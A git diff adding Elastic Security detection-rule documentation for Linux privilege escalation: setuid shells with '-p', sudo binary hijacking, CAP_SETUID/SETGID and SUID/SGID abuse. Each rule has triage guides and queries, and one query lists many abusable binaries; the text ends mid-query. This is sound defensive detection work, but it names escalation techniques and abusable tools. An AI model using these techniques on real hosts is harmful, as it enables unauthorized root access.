+---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc new file mode 100644 index 0000000000..4b9b2b3d02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-28-potential-root-effective-shell-from-non-standard-path-via-auditd]] +=== Potential Root Effective Shell from Non-Standard Path via Auditd + +Identifies process execution events where the effective user is root while the real user is not, the process arguments include the privileged shell flag commonly associated with setuid-capable shells, and the executable path is outside standard system binary directories. That combination is consistent with abuse of setuid shells or similar helpers copied or linked into writable locations, a pattern used to regain a root context after local exploitation. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/001/ +* https://gtfobins.github.io/gtfobins/bash/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Root Effective Shell from Non-Standard Path via Auditd* + + +The rule surfaces executed processes where effective UID is root, real UID is not, the argument list contains -p +(often used with bash, dash, or similar to preserve privileges), and the executable is not under typical distro paths. +That aligns with interactive or scripted abuse of elevated shells from user-controlled locations. + + +*Possible investigation steps* + + +- Inspect process.executable, process.args, process.parent, and the full command line reconstructed in audit or ECS + fields. +- Confirm user.id versus user.effective.id and map the login session, TTY, and parent chain (SSH, cron, container + entrypoint). +- Check the on-disk binary for setuid bit, ownership, and recent file creation or rename events in the same directory. +- Correlate with authentication logs and sudo or polkit outcomes around the same timestamp. + + +*False positive analysis* + + +- Rare vendor bundles that place setuid helpers under /opt or /usr/local may need allowlisting after review. +- Container hosts where audit captures host and namespace PIDs together can add noise; scope by host group if needed. + + +*Response and remediation* + + +- If malicious, isolate the host, remove or quarantine the binary, revoke compromised accounts, audit all setuid + binaries on the filesystem, and re-image if integrity cannot be proven. + + +==== Setup + + + +*Setup* + + +This rule requires data from Auditd Manager or legacy Auditbeat shipping comparable ECS process fields on Linux. + + +*Auditd Manager Integration Setup* + +Auditd Manager receives events from the Linux audit subsystem. Deploy the integration from Kibana under Integrations, +add it to an agent policy, and install the Elastic Agent on Linux hosts that should emit syscall-backed process data. + +For integration details, see the https://docs.elastic.co/integrations/auditd_manager[Auditd Manager documentation]. + +Ensure process execution (for example execve) is audited so `event.action`, `user.id`, `user.effective.id`, +`process.args`, and `process.executable` are populated consistently for interactive shells. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.action:(exec or executed) and user.id:(* and not 0) and +process.executable:(* and not (/bin/* or /nix/store/*/bin/sudo or /run/wrappers/wrappers*/sudo or /sbin/* or /usr/bin/* or /usr/sbin/* or "/usr/local/bin/pbrun")) and +user.effective.id:0 and process.args:-p + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-sudo-hijacking.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-sudo-hijacking.asciidoc new file mode 100644 index 0000000000..f7c7d3d3c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-sudo-hijacking.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-28-potential-sudo-hijacking]] +=== Potential Sudo Hijacking + +Identifies the creation of a sudo binary located at /usr/bin/sudo. Attackers may hijack the default sudo binary and replace it with a custom binary or script that can read the user's password in clear text to escalate privileges or enable persistence onto the system every time the sudo binary is executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://eapolsniper.github.io/2020/08/17/Sudo-Hijacking/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Sudo Hijacking* + + +Sudo is a critical utility in Linux environments, allowing users to execute commands with elevated privileges. Adversaries may exploit this by replacing the sudo binary with a malicious version to capture passwords or maintain persistence. The detection rule identifies suspicious creation or renaming of the sudo binary, excluding legitimate package management processes, to flag potential hijacking attempts. + + +*Possible investigation steps* + + +- Review the file creation or rename event details to confirm the file path is either /usr/bin/sudo or /bin/sudo, as these are critical locations for the sudo binary. +- Check the process executable that triggered the event to ensure it is not part of the legitimate package management processes listed in the query, such as /bin/dpkg or /usr/bin/yum. +- Investigate the user account associated with the event to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine the system logs around the time of the event for any unusual activity or errors that might indicate tampering or unauthorized access. +- Verify the integrity of the current sudo binary by comparing its hash with a known good version to detect any unauthorized modifications. +- Assess the system for any additional signs of compromise, such as unexpected network connections or new user accounts, which may indicate broader malicious activity. + + +*False positive analysis* + + +- Package management processes can trigger false positives when legitimate updates or installations occur. To handle this, ensure that processes like dpkg, rpm, yum, and apt are included in the exclusion list as they are common package managers. +- Custom scripts or automation tools that modify the sudo binary for legitimate reasons may cause alerts. Review these scripts and consider adding their paths to the exclusion list if they are verified as safe. +- Temporary files or directories used during legitimate software installations or updates, such as those in /var/lib/dpkg or /tmp, can lead to false positives. Exclude these paths if they are part of a known and safe process. +- Development or testing environments where sudo binaries are frequently modified for testing purposes might trigger alerts. In such cases, consider excluding these environments from monitoring or adding specific exclusions for known safe modifications. +- Ensure that any process or executable that is known to interact with the sudo binary in a non-malicious way is added to the exclusion list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Verify the integrity of the sudo binary by comparing its hash with a known good version from a trusted source. If compromised, replace it with the legitimate binary. +- Conduct a thorough review of system logs and the process execution history to identify any unauthorized changes or suspicious activities related to the sudo binary. +- Reset passwords for all user accounts on the affected system, especially those with elevated privileges, to mitigate potential credential theft. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to modify critical binaries or escalate privileges. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if other systems may be affected. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system binaries. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "rename") and +file.path in ("/usr/bin/sudo", "/bin/sudo") and not ( + process.name like ("python*", "platform-python*") or + file.Ext.original.path in ("/usr/bin/sudo", "/bin/sudo") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/bin/pacman", "/usr/bin/pacman", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", "/usr/local/sbin/apk", "/usr/bin/apt", + "/usr/sbin/pacman", "/usr/bin/microdnf", "/usr/local/bin/dockerd", "/usr/local/bin/podman", "/usr/local/bin/dnf", + "/kaniko/executor", "/proc/self/exe", "/usr/bin/apt-get", "/usr/bin/apt-cache", "/usr/bin/apt-mark", + "./usr/bin/podman", "./usr/lib/snapd/snap-update-ns", "/kaniko/kaniko-executor", "/usr/libexec/packagekitd", + "/usr/bin/dnf5", "/usr/lib/pamac/pamac-daemon", "./usr/libexec/snapd/snap-update-ns", "/usr/bin/update-alternatives", + "/var/ossec/bin/wazuh-syscheckd", "/usr/local/bin/defender", "/usr/sbin/dnf", "/usr/local/bin/starship", "/bin/dnf4", + "/usr/sbin/yum-cron", "/bin/buildah", "/usr/bin/buildah" + ) or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name like "sudo;*" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/var/lib/docker/*", + "./snap/snapd/*/usr/lib/snapd/snap-update-ns", "/opt/docker/overlay2/*/dockerd", + "/var/lib/containers/storage/overlay/*/dockerd", "/usr/libexec/platform-python*" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc new file mode 100644 index 0000000000..97364b7205 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-28-privilege-escalation-via-cap-setuid-setgid-capabilities]] +=== Privilege Escalation via CAP_SETUID/SETGID Capabilities + +Identifies instances where a process (granted CAP_SETUID and/or CAP_SETGID capabilities) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SETUID and CAP_SETGID capabilities allow a process to change its UID and GID, respectively, providing control over user and group identity management. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via CAP_SETUID/SETGID Capabilities* + + +In Linux, CAP_SETUID and CAP_SETGID capabilities allow processes to change user and group IDs, crucial for identity management. Adversaries exploit misconfigurations to gain root access. The detection rule identifies processes with these capabilities that elevate privileges to root, excluding benign scenarios, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details such as process.name and process.executable to identify the specific application or script that triggered the alert. This can help determine if the process is expected or potentially malicious. +- Examine the process.parent.executable and process.parent.name fields to understand the parent process that initiated the suspicious process. This can provide context on whether the parent process is legitimate or part of a known attack vector. +- Check the user.id field to confirm the user context under which the process was executed. If the user is not expected to have elevated privileges, this could indicate a potential compromise. +- Investigate the process.command_line to analyze the command executed. Look for any unusual or unexpected command patterns that could suggest malicious intent. +- Correlate the alert with other security events or logs from the same host.id to identify any related suspicious activities or patterns that could indicate a broader attack. +- Assess the environment for any recent changes or misconfigurations that could have inadvertently granted CAP_SETUID or CAP_SETGID capabilities to unauthorized processes. + + +*False positive analysis* + + +- Processes related to system management tools like VMware, SolarWinds, and language tools may trigger false positives. Exclude these by adding their executables to the exception list. +- Scheduled tasks or system updates that involve processes like update-notifier or dbus-daemon can cause false alerts. Consider excluding these parent process names from the detection rule. +- Automation tools such as Ansible or scripts executed by Python may inadvertently match the rule. Exclude command lines that match known automation patterns. +- Legitimate use of sudo or pkexec for administrative tasks can be misinterpreted as privilege escalation. Exclude these executables if they are part of regular administrative operations. +- Monitoring tools like osqueryd or saposcol might trigger the rule during normal operations. Add these process names to the exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified with CAP_SETUID or CAP_SETGID capabilities that have escalated privileges to root, ensuring no further exploitation occurs. +- Conduct a thorough review of the affected system's user and group configurations to identify and correct any misconfigurations that allowed the privilege escalation. +- Revoke unnecessary CAP_SETUID and CAP_SETGID capabilities from processes and users that do not require them, reducing the attack surface for future exploitation. +- Restore the affected system from a known good backup if unauthorized changes or persistent threats are detected, ensuring the system is returned to a secure state. +- Monitor the system and network for any signs of continued or attempted exploitation, using enhanced logging and alerting to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name != null and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") and + user.id != "0" and not ( + process.parent.executable : ("/tmp/newroot/*", "/opt/carbonblack*") or + process.parent.executable in ( + "/opt/SolarWinds/Agent/bin/Plugins/JobEngine/SolarWinds.Agent.JobEngine.Plugin", "/usr/bin/vmware-toolbox-cmd", + "/usr/bin/dbus-daemon", "/usr/bin/update-notifier", "/usr/share/language-tools/language-options", + "/opt/SolarWinds/Agent/*", "/usr/local/sbin/lynis.sh", "/usr/libexec/sssd/sssd_be", + "/opt/sophos-spl/plugins/edr/bin/osqueryd.5", "/apps/dynatrace/oneagent/install/agent/lib64/oneagentos", + "/opt/SolarWinds/Agent/bin/Plugins/Discovery/SolarWinds.Agent.Discovery.Plugin", + "/usr/sbin/pcoip-agent", "/usr/bin/cubic", "/usr/lib/cockpit/cockpit-ws", + "/usr/lib/vmware/bin/vmware", "/usr/bin/vmware-fuseUI" + ) or + process.executable : ("/opt/dynatrace/*", "/tmp/newroot/*", "/opt/SolarWinds/Agent/*", "/snap/snapd/*/usr/lib/snapd/snap-confine") or + process.executable in ( + "/bin/fgrep", "/usr/bin/sudo", "/usr/bin/pkexec", "/usr/lib/cockpit/cockpit-session", "/usr/sbin/suexec", + "/usr/bin/at", "/usr/lib/pcoip-agent/pcoip-authentication-proxy" + ) or + process.parent.name in ("update-notifier", "language-options", "osqueryd", "saposcol", "dbus-daemon", "osqueryi", "sdbrun") or + process.command_line like ("sudo*BECOME-SUCCESS*", "/bin/sh*sapsysinfo.sh*", "sudo su", "sudo su -", "sudo -E -H bash -l") or + process.name in ("sudo", "fgrep", "lsb_release", "apt-update", "dbus-daemon-launch-helper", "man") or + process.parent.command_line like "/usr/bin/python*ansible*" or + process.working_directory like ("/opt/Elastic/Agent/data/*", "/usr/sap/tmp") or + process.args like ("/usr/bin/lsb_release*", "/bin/fgrep*") + )] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and + (process.thread.capabilities.effective : "CAP_SET?ID" or process.thread.capabilities.permitted : "CAP_SET?ID") + and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-suid-sgid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-suid-sgid.asciidoc new file mode 100644 index 0000000000..50f2a19ef2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-privilege-escalation-via-suid-sgid.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-28-privilege-escalation-via-suid-sgid]] +=== Privilege Escalation via SUID/SGID + +Identifies instances where a process is executed with user/group ID 0 (root), and a real user/group ID that is not 0. This is indicative of a process that has been granted SUID/SGID permissions, allowing it to run with elevated privileges. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root, or establish a backdoor for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via SUID/SGID* + + +SUID/SGID are Unix/Linux permissions that allow users to execute files with the file owner's or group's privileges, often root. Adversaries exploit misconfigured SUID/SGID binaries to gain elevated access or persistence. The detection rule identifies processes running with root privileges but initiated by non-root users, flagging potential misuse of SUID/SGID permissions. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.args, to understand the nature of the executed command and its intended function. +- Check the process.real_user.id and process.real_group.id to identify the non-root user or group that initiated the process, and assess whether this user should have access to execute such commands. +- Investigate the parent process (process.parent.name) to determine the origin of the execution and whether it aligns with expected behavior or indicates potential compromise. +- Examine the system logs and user activity around the time of the alert to identify any suspicious actions or patterns that could suggest privilege escalation attempts. +- Verify the SUID/SGID permissions of the flagged binary to ensure they are correctly configured and assess whether they have been altered or misconfigured. +- Cross-reference the process with known vulnerabilities or exploits associated with the specific binary or command to determine if it is being targeted for privilege escalation. + + +*False positive analysis* + + +- Processes initiated by legitimate system maintenance tasks or scripts may trigger the rule. Review scheduled tasks and scripts to identify benign activities and consider excluding them from the rule. +- Some system utilities or applications may inherently require SUID/SGID permissions for normal operation. Verify the necessity of these permissions and exclude known safe applications from the rule. +- Development or testing environments often run processes with elevated privileges for debugging purposes. Identify these environments and apply exceptions to avoid false positives. +- Administrative tools or scripts executed by system administrators might appear as privilege escalation attempts. Ensure these are documented and excluded if they are part of routine administrative tasks. +- Processes with the parent name "spine" are already excluded, indicating a known benign pattern. Review similar patterns in your environment and apply similar exclusions where applicable. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule that are running with elevated privileges but were initiated by non-root users. +- Conduct a thorough review of the SUID/SGID binaries on the affected system to identify and remove any unnecessary or misconfigured binaries that could be exploited for privilege escalation. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack to ensure they do not retain unauthorized elevated privileges. +- Apply security patches and updates to the operating system and all installed software to mitigate known vulnerabilities that could be exploited for privilege escalation. +- Implement enhanced monitoring and logging for SUID/SGID execution and privilege escalation attempts to detect and respond to similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and ( + process.name in ( + "aa-exec", "ab", "agetty", "alpine", "ar", "arj", "arp", "as", "ascii-xfr", "ash", "aspell", + "atobm", "awk", "base32", "base64", "basenc", "basez", "bc", "bridge", "busctl", + "busybox", "bzip2", "cabal", "capsh", "cat", "choom", "chown", "chroot", "clamscan", "cmp", + "column", "comm", "cp", "cpio", "cpulimit", "csplit", "csvtool", "cupsfilter", "curl", + "cut", "date", "dd", "debugfs", "dialog", "diff", "dig", "distcc", "dmsetup", "docker", + "dosbox", "ed", "efax", "elvish", "emacs", "env", "eqn", "espeak", "expand", "expect", "file", + "fish", "flock", "fmt", "fold", "gawk", "gcore", "gdb", "genie", "genisoimage", "gimp", + "gtester", "gzip", "hd", "head", "hexdump", "highlight", "hping3", "iconv", "install", + "ionice", "ispell", "jjs", "join", "jq", "jrunscript", "julia", "ksh", "ksshell", "kubectl", + "ld.so", "less", "links", "logsave", "look", "lua", "make", "mawk", "minicom", "more", + "mosquitto", "msgattrib", "msgcat", "msgconv", "msgfilter", "msgmerge", "msguniq", "multitime", + "nasm", "nawk", "ncftp", "nice", "nl", "nm", "nmap", "node", "nohup", "ntpdate", + "od", "openssl", "openvpn", "pandoc", "paste", "perf", "perl", "pexec", "pg", "php", "pidstat", + "pr", "ptx", "python", "rc", "readelf", "restic", "rev", "rlwrap", "rsync", "rtorrent", + "run-parts", "rview", "rvim", "sash", "scanmem", "sed", "setarch", "setfacl", "setlock", "shuf", + "soelim", "softlimit", "sort", "sqlite3", "ss", "ssh-agent", "ssh-keygen", "ssh-keyscan", + "sshpass", "start-stop-daemon", "stdbuf", "strace", "strings", "sysctl", "systemctl", "tac", + "tail", "taskset", "tbl", "tclsh", "tee", "terraform", "tftp", "tic", "time", "timeout", "troff", + "ul", "unexpand", "uniq", "unshare", "unsquashfs", "unzip", "update-alternatives", "uudecode", + "uuencode", "vagrant", "varnishncsa", "view", "vigr", "vim", "vimdiff", "vipw", "w3m", "watch", + "wc", "wget", "whiptail", "xdotool", "xmodmap", "xmore", "xxd", "xz", "yash", "zsh", + "zsoelim" + ) or + (process.name like ".*" or process.executable like ("/tmp/.*", "/var/tmp/.*", "/dev/shm/.*", "/home/*")) or + (process.name == "ip" and ((process.args == "-force" and process.args 